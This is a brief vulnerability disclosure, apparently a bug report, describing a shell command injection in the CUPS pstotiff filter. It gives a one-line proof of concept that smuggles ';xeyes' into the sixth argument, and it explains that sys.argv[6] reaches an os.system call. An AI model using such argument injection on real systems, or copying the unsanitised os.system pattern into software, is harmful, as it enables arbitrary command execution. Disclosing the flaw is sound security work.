pstotiff filter : Possible shell code injection

[Bernd Dietzel]

Proof of concept which will run the program xeyes but should not:

python /usr/lib/cups/filter/pstotiff 1 2 3 4 5 ";xeyes"

reason :
sys.argv[6] is passed to this os.system call :

exit_code = os.system(gs_command)